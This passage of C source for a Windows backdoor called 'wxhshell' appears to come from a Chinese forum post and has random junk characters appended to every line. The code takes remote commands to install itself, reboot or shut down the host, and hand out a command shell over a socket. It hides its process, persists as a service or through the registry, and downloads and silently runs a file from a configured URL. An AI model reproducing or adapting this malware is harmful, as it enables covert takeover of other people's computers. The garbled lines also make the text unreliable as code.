    switch(cmd[0]) { 4+ BWHV  
  CbmT aEaP  
  // 帮助 /DG+8u  
  case '?': { ?v4-<ewD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~s@PP'!  
    break; l^ P[nQDH  
  } "<3F[[;~  
  // 安装 6>rgoT)6~  
  case 'i': { mRe BS  
    if(Install()) x;&01@m.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #-xsAKi  
    else OOzk@j^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v=kQ / h  
    break; :Ve>tZeW  
    } :.863_/  
  // 卸载  L|hdV\  
  case 'r': { H ?Vo#/  
    if(Uninstall()) F-L!o8o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k e'aSD  
    else e6E{l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +gZg7]!Z  
    break; {tUjUwhz(  
    } 8$k`bZ  
  // 显示 wxhshell 所在路径 Hc`)Q vFRW  
  case 'p': { EwvW: t1  
    char svExeFile[MAX_PATH]; 4~mYj@lvd  
    strcpy(svExeFile,"\n\r"); WmO.&zp  
      strcat(svExeFile,ExeFile); )-D{]>8  
        send(wsh,svExeFile,strlen(svExeFile),0); C` s  
    break; {BkTJQ)  
    } $#3O:aW  
  // 重启 {}r#s>  
  case 'b': { : GVyY]qBU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0E*q-$P  
    if(Boot(REBOOT)) ,$i2vGd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zX{O"w  
    else { SG:Fn8  
    closesocket(wsh); KIyhvY~  
    ExitThread(0); f{ ;L"*L  
    } :@BAiKa[wa  
    break; G(g`>' m  
    } |mx)W}  
  // 关机 9 7/"5i9  
  case 'd': { >?-etl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x$:>W3?T=^  
    if(Boot(SHUTDOWN)) C`qo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #&fi[|%X$  
    else { b.h:~ATgN  
    closesocket(wsh); J7Z`wjX1  
    ExitThread(0); L5(7;  
    } RO>3U2  
    break; uY{zZ4iw  
    } 5c(mgEvq  
  // 获取shell Un [olp  
  case 's': { s"hSn_m  
    CmdShell(wsh); W6~aL\[  
    closesocket(wsh); e70#"~gt[  
    ExitThread(0); _ELuQ>zM]+  
    break; MIV<"A  
  } L="ipM:Z  
  // 退出 h(M_ K  
  case 'x': { ^^q9+0@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I-?PTr  
    CloseIt(wsh); 0\qLuF[)  
    break; fN)A`>iP  
    } OV@MT^  
  // 离开 9'1XZpM1  
  case 'q': { VFmG\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <1t.f}}uX  
    closesocket(wsh); T0:%,o  
    WSACleanup(); I&2)@Zw  
    exit(1); }XOTK^YA  
    break; C)x>/Qr~  
        } 47S1mxur  
  } ^("23mhfJ  
  } 7T\LYDT  
gu~JB  
  // 提示信息 rM?O2n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v'0WE  
} 9'$\GN{0  
  } 0m3:!#\  
mP!=&u fcU  
  return; kGz0`8U Ru  
} s5`CV$bz  
!hMD>B2Z  
// shell模块句柄 eo#2n8I>=1  
int CmdShell(SOCKET sock) j{8;5 ?x  
{ !?AgAsSmc  
STARTUPINFO si; U?@ s`.  
ZeroMemory(&si,sizeof(si)); Ff eX;pi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D8OW|wVE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 71S~*"O0f  
PROCESS_INFORMATION ProcessInfo; <0EVq8h  
char cmdline[]="cmd"; "3&bh>#qY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UyFvj4SU  
  return 0; g2Hz[C(  
} A7`+XqG  
aXv[~  
// 自身启动模式 ec8 iZ8h8  
int StartFromService(void) M0jC:*D`"  
{ =d+~l  
typedef struct )9pRT dT  
{ oouhP1py,  
  DWORD ExitStatus; G+_Q7-o&d6  
  DWORD PebBaseAddress; pB;U*lt  
  DWORD AffinityMask;  1{fu  
  DWORD BasePriority; [Re.sX}$Y  
  ULONG UniqueProcessId; _nUvDdEs,  
  ULONG InheritedFromUniqueProcessId; [Sj _=  
}   PROCESS_BASIC_INFORMATION; =c-Y >  
/v<FH}  
PROCNTQSIP NtQueryInformationProcess; 0uZL*4A+C  
{wp~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +hIC N,8!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eNHSfq  
!#NGGIp;  
  HANDLE             hProcess; MD4RSl<F  
  PROCESS_BASIC_INFORMATION pbi; h^B~Fv>~  
$D][_I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ydZS^BqG  
  if(NULL == hInst ) return 0; iQT$#"m n  
n<)gS7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yQ [n7du  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )yl;i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZwFVtR  
! %~P[;.  
  if (!NtQueryInformationProcess) return 0; Hf$pwfGcY]  
3D}rxI8N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w/1Os!p  
  if(!hProcess) return 0; B[$L)y'-;  
uo TTHj7cq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C:9a$  
M#u~]?hS  
  CloseHandle(hProcess); 0Tv0:c>8;(  
ZZ? KD\S5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r|ID]}w  
if(hProcess==NULL) return 0; }J^+66{  
LykB2]T  
HMODULE hMod; r\j*?m ]  
char procName[255]; w/oXFs&FK  
unsigned long cbNeeded; s7Z+--I)L  
_{C =d3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {W' 9k  
P\rA>ZY  
  CloseHandle(hProcess); F97HFt6{  
)c<X.4  
if(strstr(procName,"services")) return 1; // 以服务启动 3oQ?VP  
NMvNw?]  
  return 0; // 注册表启动 /8O;Q~a  
} UhX)?'J  
Zk+c9,q  
// 主模块 `9`T,uJe  
int StartWxhshell(LPSTR lpCmdLine) qS!U1R?s  
{ fG,)`[eD!_  
  SOCKET wsl; m\.(-  
BOOL val=TRUE; 2:jWO_V@  
  int port=0; 6JB* brO  
  struct sockaddr_in door; <*3#nA-O>i  
'}, 8x?  
  if(wscfg.ws_autoins) Install(); PKg>|]Rf.  
PNp-/1Cx  
port=atoi(lpCmdLine); VkD}gJY  
/J5)_> R:  
if(port<=0) port=wscfg.ws_port; ]kir@NMv>  
>Tp`Kri  
  WSADATA data; 2[X\*"MQ2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G_E \p%L>]  
3EA+tG4KnO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3%(BZ23  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?ZAynZF|#  
  door.sin_family = AF_INET; 4XNdsb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CQns:.`$`  
  door.sin_port = htons(port); %jh gKq  
G6XDPr:}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vpe\Okt:  
closesocket(wsl); %0_}usrsk  
return 1; #JYH5:*  
} ?m\? #  
08qM?{z o^  
  if(listen(wsl,2) == INVALID_SOCKET) { -%ftPfm  
closesocket(wsl); F T$x#>  
return 1; 0x2[*pJ|IW  
} 1EHL8@.M  
  Wxhshell(wsl); 7?p>v34A  
  WSACleanup(); Vv_lBYV  
 V$fn$=  
return 0; s?7"iE  
`9& ~fWu  
} y[DS$>E  
oC~+K@S  
// 以NT服务方式启动 VT2f\d[Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^u+#x2$Mg  
{ pC/13|I  
DWORD   status = 0; aXgngw q  
  DWORD   specificError = 0xfffffff; .YlhK=d4  
 _W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oqa8v6yG'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0]Qk*u<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y7T<Auue`  
  serviceStatus.dwWin32ExitCode     = 0; NI85|*h  
  serviceStatus.dwServiceSpecificExitCode = 0; :I(d-,C  
  serviceStatus.dwCheckPoint       = 0; sEHA?UP$<F  
  serviceStatus.dwWaitHint       = 0; X!|K 4Z!k  
>9Z7l63+}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zI$'D|A  
  if (hServiceStatusHandle==0) return; YZZog6%  
/wPW2<|"X.  
status = GetLastError(); .OZ\ s%h;  
  if (status!=NO_ERROR) TlC GP)VSj  
{ 5I&Dk4v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *:Uq ;)*  
    serviceStatus.dwCheckPoint       = 0; 4G'-"u^g  
    serviceStatus.dwWaitHint       = 0; z#GrwE,r   
    serviceStatus.dwWin32ExitCode     = status; =h\uC).t&  
    serviceStatus.dwServiceSpecificExitCode = specificError; mCSt.n~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FnCMr_  
    return; N gagzsJ=  
  } dYZB> OS  
i}/Het+(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jk{m8YP)E  
  serviceStatus.dwCheckPoint       = 0; C#@-uo2  
  serviceStatus.dwWaitHint       = 0; B) BR y%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |e91KmiqJ  
} Ge ?Q)N  
+ctJV>  
// 处理NT服务事件,比如:启动、停止 w ,-4A o2x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /kV5~i<1S  
{ qZ%0p*P#_  
switch(fdwControl) yJ*g ;  
{ m1DrT>oN'  
case SERVICE_CONTROL_STOP: xm0(U0 >  
  serviceStatus.dwWin32ExitCode = 0; ~Z}DN*S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V?- ]ZkI  
  serviceStatus.dwCheckPoint   = 0; n um2HtU&%  
  serviceStatus.dwWaitHint     = 0; oC}2 Z{  
  { c!a1@G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Jn@+NoO  
  } fF^A9{{BS  
  return; XBm ^7'  
case SERVICE_CONTROL_PAUSE: C1x(4&h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kZ'wXtBYe  
  break; (s,u9vj=>L  
case SERVICE_CONTROL_CONTINUE: $msf~M*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; br')%f}m  
  break; ri h@(;)1  
case SERVICE_CONTROL_INTERROGATE: =kb/4eRg  
  break; ]<k+a-Tt  
}; h* V~.H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4U*CfdZZ  
} U nS|""  
tja7y"(]  
// 标准应用程序主函数 bO+ e?&vQ%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LY2QKjgP  
{ W?gelu]  
lz4M)pL^  
// 获取操作系统版本 #ds@!u+&  
OsIsNt=GetOsVer(); 7 b 8pWM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M%2w[<-8c  
co*XW  
  // 从命令行安装 j/uzsu+  
  if(strpbrk(lpCmdLine,"iI")) Install(); a*qc  
W#foVAi .  
  // 下载执行文件 QPX3a8w*  
if(wscfg.ws_downexe) { i2Sh^\Xw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m0N{%Mf-  
  WinExec(wscfg.ws_filenam,SW_HIDE); a"8H(HAlNn  
} (^$SM uC  
@@& ? ,3  
if(!OsIsNt) { {-51rAyi  
// 如果时win9x,隐藏进程并且设置为注册表启动 $AHdjQ[;6-  
HideProc(); }CvhLjo  
StartWxhshell(lpCmdLine); ~:N 1[  
} \9 k3;zw  
else FO)`&s"&2  
  if(StartFromService()) wu3p2#-Z  
  // 以服务方式启动 wRJ`RKJ-T  
  StartServiceCtrlDispatcher(DispatchTable); 9'A^n~JHF  
else IJBIO>Z/  
  // 普通方式启动 kyL]4:@W`  
  StartWxhshell(lpCmdLine); O+=C8  
> QK"r7f/  
return 0; ?&bB?mg\  
}
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只看该作者 1 发表于: 2006-10-10
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